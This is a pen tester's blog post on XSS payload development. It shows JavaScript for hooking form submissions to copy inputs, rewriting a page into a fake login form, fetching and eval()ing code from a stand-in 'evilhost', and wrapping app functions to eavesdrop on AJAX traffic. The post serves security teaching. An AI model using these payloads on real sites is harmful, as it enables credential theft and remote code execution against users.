I recently got the opportunity to speak at B-Sides Charleston on cross-site scripting (XSS) payload development. For me, this was a really enjoyable opportunity because of my background. I was a software developer specializing in web apps for about 10 years. I did web development as a hobby for more than 10 years before that. I’ve had full stack responsibilities for most of my career. I switched between server-side platforms, and have had some exposure to most of them, but the javascript was a constant. I don’t like classifying developers by their language: a java developer, python developer, etc. I feel that it leads to a lot of incorrect assertions about how to judge the quality of a developer. That said, if I was going to label myself by a language, that language would be javascript. It’s the language that I find does the best job staying out of my way so that I can focus on the problem at hand. Its lack of constraints, compared to many other languages, serves me well.
The original VMs I used during my talk are available at https://github.com/mgillam/weaponizejs, and these demonstrate a lot of the same techniques shown here. There may be some rough edges, reach out if you have any issues making them work.
So from that perspective, a XSS opportunity is one of my favorite findings on a pen test. If you allow me to run my javascript in your web application, it’s really my web application. I determine what it looks like and I determine how it behaves, and any user input also belongs to me.
In this post, I would like to share some of the techniques I presented in my talk. These shouldn’t be thought of as standalone exploits, but rather a set of tricks you can use to achieve common goals. I’m going to skip over getting script execution in the first place. Getting script execution, and the challenges that go with it such as filter evasion, is specific to each individual site, if not the individual vulnerability. There’s no concrete set of answers, so that would just be a distraction. Let’s instead move on to what we can do once we have it.
For all these examples, we’ll have Target App: the application with the XSS vulnerability; and Evil Host: this is a server we control that we can use to receive HTTP requests exfiltrating data and that we can use to serve up static files like our own javascript and HTML. Evil Host also has nice open CORS headers, and is available over SSL, so there aren’t any issues pulling its content from target app.
Let’s start with stealing plain old HTML forms. We’re going to use an asynchronous HTTP request to pass a copy of the form field values to Evil Host. So once we get script execution in Target App, we simply locate the form (or all of the forms) with `document.getElementsByTagName(‘form’)` and add an onsubmit event handler, like this:
document.getElementsByTagName('form')[0].onsubmit = function() { var els = document.getElementsByTagName('input'); console.log(els[0].value + ':' + els[1].value); };
Now that’s all fine and good, but I want to be certain that my XHR gets out, and I have speculated (but never left it to chance) that if I don’t delay the form a little bit, it may not get there. So I’m going to delay the submission of the form for 200 milliseconds. Or rather, I’m going to cancel submitting it for 200 milliseconds, then I’m going to submit it again and not interrupt it.
document.getElementsByTagName('form')[0].onsubmit = (function(z) { return function() { var els = document.getElementsByTagName('input'); console.log(els[0].value + ':' + els[1].value); if(z === false) { z = true; setTimeout(function(){ document.getElementById('form1').submit();},200); return false; } else { return true; } } })(false);
The form still gets submitted using the method and action originally intended. The only difference is that now I get a copy of all its inputs elements. There are some obvious things lacking, select elements being the most prominent, but I think this gets the idea across.
Another key skill is rewriting a portion of the document object model (DOM). This is ultimately how you control look and feel. It’s also usually very easy to do. Locate the parts you want gone and hide them. Often wrapping the content in an element with the style display = ‘none’ will do the job nicely. Append in your own markup as a plain javascript string with the innerHTML property, as here:
var p = document.getElementById('idOfElementContainingStuffToHide'); p.style.display = 'none';
This is particularly useful when I find a XSS vulnerability that isn’t on the page I want it on. I would to get control of the login page, but instead I get the registration page, or some search box on an otherwise boring page. No problem. I just rewrite the page with the XSS vulnerability to look **exactly** like the login page. Like this:
var template = ' <form class="form-signin" action="/api/simplelogin" method="POST">\ <h2 class="form-signin-heading">Please sign in</h2>\ <label for="inputUsername" class="sr-only">Username</label>\ <input type="email" id="inputEmail" name="user" class="form-control" placeholder="Username">\ <label for="inputPassword" class="sr-only">Password</label>\ <input type="password" id="inputPassword" name="password" class="form-control" placeholder="Password">\ <div class="checkbox">\ <label>\ <input type="checkbox" value="remember-me"> Remember me\ </label>\ </div>\ <button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>\ </form>'; document.getElementById('parentElement').innerHTML = template;
Okay, what about when it’s a 128 character field and you want to pull in more markup than that? Or for that matter, you don’t have enough space for all the script you want to execute?
Just host your supplementary HTML and javascript on Evil Host, and fetch it with an XHR. For javascript you probably want to call *eval()* on it, for HTML you probably just want to insert it somewhere. In either case, here’s a recipe for that:
var x=new XMLHttpRequest(); x.open("GET","http://evilhost/f.j"); x.onreadystatechange=function(){eval(x.responseText)}; x.send()
One last trick, and it’s something along the lines of a man-in-the-middle attack but in javascript logic instead of network traffic. The key to this one is actually two concepts: function references, and javascript closures. By abusing these two concepts, I can replace all references to your function with a reference to my function. But my function will hold onto a reference to your function so that it call your function whenever it gets called. This way your web app continues to behave as usual.
//lets say the target app has a function called: function fetchStuffFromServer(payload, successCallback, failCallback) { //... } //my payload could be: fetchStuffFromServer = (function(f) { return function(payload, success, fail) { console.log(payload); //... fetchStuffFromServer(payload, success, fail); }; })(fetchStuffFromServer);
Here, my closure has reassigned the name of your function to a reference to my function. Whenever your function gets referenced by its name fetchStuffFromServer, my function will get called instead. Then my function can export a copy of the payload in the arguments to Evil Host, and then pass it on to your function. Everything behaves as intended, except that I get to eavesdrop on your AJAX requests. But I’m not getting to see the response from the server because the callbacks (or these could be promises) get called after the fact. That’s easy to solve, I’ll just rewrite the callbacks too, like this:
return function(payload, success, fail) { console.log(payload); var evilSuccess = function(res) { console.log(res); success(res); }; var evilFail = function(err) { console.log(err); fail(err); }; fetchStuffFromServer(payload, evilSuccess, evilFail);
And just like that, I can eavesdrop on all these requests without ever disrupting or breaking the behavior of the app. It can be quite a valuable approach if I want to exploit a XSS vulnerability for recon or maybe to simply steal sensitive data.
All the shenanigans above raise a question: why do this on a pen test? Why not just prove execution with `alert(1)` and move on to other things?
As I see it, there are two reasons to more fully exploit an XSS vulnerability in a pen test. 1) Because social engineering is within the scope of the test, and I can therefore actually leverage the vulnerability to steal credentials, and 2) because XSS is poorly understood. I’ve had developers with decades of experience fail to grasp how serious the problem is. And I want my clients understand it and to take it seriously, because I want to keep them safe. Ultimately, I never want my clients to be compromised, but I especially don’t want them to be compromised because of something I missed, and I never want my clients to be compromised because I haven’t explained the risks of a finding well enough. A picture may be worth a thousand words, but a demonstration beats a picture any day of the week.